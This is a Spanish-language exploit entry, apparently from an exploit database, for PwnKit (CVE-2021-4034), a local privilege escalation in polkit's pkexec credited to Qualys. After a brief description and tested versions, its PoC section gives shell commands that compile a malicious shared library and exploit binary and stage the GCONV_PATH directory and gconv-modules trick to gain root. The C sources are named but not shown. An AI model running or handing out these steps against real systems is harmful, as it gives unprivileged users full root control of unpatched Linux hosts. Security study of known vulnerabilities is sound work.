Vulnerabilidad PwnKit - Escalada de Privilegios Local

• Título: Vulnerabilidad PwnKit - Escalada de Privilegios Local
• Objetivo: Linux
• Categoría: Ejecución
• Créditos: Qualys Research Team

Descripción

El Qualys Research Team ha descubierto una vulnerabilidad de corrupción de memoria en pkexec de polkit, un programa SUID-root que está instalado por defecto en todas las principales distribuciones de Linux. Esta vulnerabilidad, fácilmente explotable, permite a cualquier usuario sin privilegios obtener privilegios completos de root en un host vulnerable al explotar esta vulnerabilidad en su configuración predeterminada.

PwnKit: Vulnerabilidad de Escalada de Privilegios Local Descubierta en pkexec de polkit (CVE-2021-4034)

Probado en

Ubuntu 20.04.3 LTS x86_64

Versión de pkexec 0.105

PoC

mkdir /tmp/pwnkit_lpe/
gcc -shared -o /tmp/pwnkit_lpe/pwnkit.so -fPIC ./library.c
gcc ./exploit.c -o /tmp/pwnkit_lpe/pwnkit
echo "module UTF-8// PWNKIT// pwnkit 1" > /tmp/pwnkit_lpe/gconv-modules
mkdir -p "/tmp/pwnkit_lpe/GCONV_PATH=."
cp /usr/bin/true "/tmp/pwnkit_lpe/GCONV_PATH=./pwnkit.so:."
cd /tmp/pwnkit_lpe/
./pwnkit